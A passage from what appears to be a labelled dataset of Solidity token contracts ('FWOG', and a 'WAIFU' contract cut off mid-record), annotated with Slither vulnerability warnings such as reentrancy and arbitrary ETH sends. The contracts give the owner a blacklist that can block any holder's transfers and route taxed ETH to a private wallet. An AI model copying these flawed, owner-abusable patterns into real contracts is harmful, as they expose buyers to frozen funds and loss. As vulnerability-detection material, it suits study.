OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: efe8f1a): FWOG.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 1 * (_tTotal / 100)\n// Recommendation for efe8f1a: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: dbf1b2a): FWOG.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 1 * (_tTotal / 100)\n// Recommendation for dbf1b2a: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 5582b45): FWOG.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 1 * (_tTotal / 100)\n// Recommendation for 5582b45: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 1759d89): FWOG.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 1000)\n// Recommendation for 1759d89: Consider ordering multiplication before division.\ncontract FWOG is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: cd3c4c8): FWOG._taxWallet should be immutable \n\t// Recommendation for cd3c4c8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: e5f5ae7): FWOG._initialBuyTax should be constant \n\t// Recommendation for e5f5ae7: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: cda2ee9): FWOG._initialSellTax should be constant \n\t// Recommendation for cda2ee9: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2e557ad): FWOG._finalBuyTax should be constant \n\t// Recommendation for 2e557ad: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3b3eb81): FWOG._finalSellTax should be constant \n\t// Recommendation for 3b3eb81: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 792d220): FWOG._reduceBuyTaxAt should be constant \n\t// Recommendation for 792d220: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: cd9deb7): FWOG._reduceSellTaxAt should be constant \n\t// Recommendation for cd9deb7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3c479c3): FWOG._preventSwapBefore should be constant \n\t// Recommendation for 3c479c3: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 22;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Freedom Wins Over Governance\";\n\n string private constant _symbol = unicode\"FWOG\";\n\n\t// divide-before-multiply | ID: dbf1b2a\n uint256 public _maxTxAmount = 1 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: 5582b45\n uint256 public _maxWalletSize = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 6efa5cc): FWOG._taxSwapThreshold should be constant \n\t// Recommendation for 6efa5cc: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 1759d89\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 3abde86): FWOG._maxTaxSwap should be constant \n\t// Recommendation for 3abde86: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: efe8f1a\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal.mul(82).div(100);\n\n _balances[_msgSender()] = _tTotal.mul(18).div(100);\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), address(this), _tTotal.mul(82).div(100));\n\n emit Transfer(address(0), _msgSender(), _tTotal.mul(18).div(100));\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f1d2170): FWOG.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f1d2170: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0210daa): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0210daa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b5d58e5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b5d58e5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 0210daa\n\t\t// reentrancy-benign | ID: b5d58e5\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 0210daa\n\t\t// reentrancy-benign | ID: b5d58e5\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 01aab5c): FWOG._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 01aab5c: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: b5d58e5\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 0210daa\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5407aac): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5407aac: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 250fda8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 250fda8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 5407aac\n\t\t\t\t// reentrancy-eth | ID: 250fda8\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 5407aac\n\t\t\t\t\t// reentrancy-eth | ID: 250fda8\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 250fda8\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 250fda8\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 250fda8\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 5407aac\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 250fda8\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 250fda8\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 5407aac\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 0210daa\n\t\t// reentrancy-events | ID: 5407aac\n\t\t// reentrancy-benign | ID: b5d58e5\n\t\t// reentrancy-eth | ID: 250fda8\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 12b0660): FWOG.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 12b0660: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 0210daa\n\t\t// reentrancy-events | ID: 5407aac\n\t\t// reentrancy-eth | ID: 250fda8\n\t\t// arbitrary-send-eth | ID: 12b0660\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8eb5e63): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8eb5e63: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 27bff41): FWOG.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 27bff41: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a6dccad): FWOG.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for a6dccad: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b95ab98): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b95ab98: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 8eb5e63\n\t\t// reentrancy-eth | ID: b95ab98\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 8eb5e63\n\t\t// unused-return | ID: a6dccad\n\t\t// reentrancy-eth | ID: b95ab98\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 8eb5e63\n\t\t// unused-return | ID: 27bff41\n\t\t// reentrancy-eth | ID: b95ab98\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 8eb5e63\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: b95ab98\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10040.sol",
"size_bytes": 21967,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: dfd07f3): WAIFU.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotal / 100)\n// Recommendation for dfd07f3: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: e8ce1cd): WAIFU.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotal / 100)\n// Recommendation for e8ce1cd: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 1a2722f): WAIFU.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 1 * (_tTotal / 100)\n// Recommendation for 1a2722f: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: d93e435): WAIFU.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 1000)\n// Recommendation for d93e435: Consider ordering multiplication before division.\ncontract WAIFU is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 28d9dac): WAIFU._taxWallet should be immutable \n\t// Recommendation for 28d9dac: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 85c9aa2): WAIFU._initialBuyTax should be constant \n\t// Recommendation for 85c9aa2: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: aa6f7cb): WAIFU._initialSellTax should be constant \n\t// Recommendation for aa6f7cb: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9273709): WAIFU._finalBuyTax should be constant \n\t// Recommendation for 9273709: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 42e313c): WAIFU._finalSellTax should be constant \n\t// Recommendation for 42e313c: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 858bda3): WAIFU._reduceBuyTaxAt should be constant \n\t// Recommendation for 858bda3: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: b34cbfe): WAIFU._reduceSellTaxAt should be constant \n\t// Recommendation for b34cbfe: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 08816ac): WAIFU._preventSwapBefore should be constant \n\t// Recommendation for 08816ac: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 655d9da): WAIFU._transferTax should be constant \n\t// Recommendation for 655d9da: Add the 'constant' attribute to state variables that never change.\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 10_000_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Waifu AI\";\n\n string private constant _symbol = unicode\"WAIFU\";\n\n\t// divide-before-multiply | ID: dfd07f3\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: e8ce1cd\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: d6c430e): WAIFU._taxSwapThreshold should be constant \n\t// Recommendation for d6c430e: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: d93e435\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: a4e5842): WAIFU._maxTaxSwap should be constant \n\t// Recommendation for a4e5842: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 1a2722f\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (immutable-states | ID: ec9719b): WAIFU.uniswapV2Router should be immutable \n\t// Recommendation for ec9719b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 60827be): WAIFU.uniswapV2Pair should be immutable \n\t// Recommendation for 60827be: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f0bfdde): WAIFU.constructor() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for f0bfdde: Ensure that all the return values of the function calls are used.\n constructor() {\n _taxWallet = payable(0x08479730a3cd3d8996a481E45CBb103eA256278b);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// unused-return | ID: f0bfdde\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0a48532): WAIFU.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0a48532: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 25fbe00): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 25fbe00: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: dc5a8c2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for dc5a8c2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 25fbe00\n\t\t// reentrancy-benign | ID: dc5a8c2\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 25fbe00\n\t\t// reentrancy-benign | ID: dc5a8c2\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 825179f): WAIFU._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 825179f: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: dc5a8c2\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 25fbe00\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ff1f16e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ff1f16e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c6d1119): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c6d1119: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : 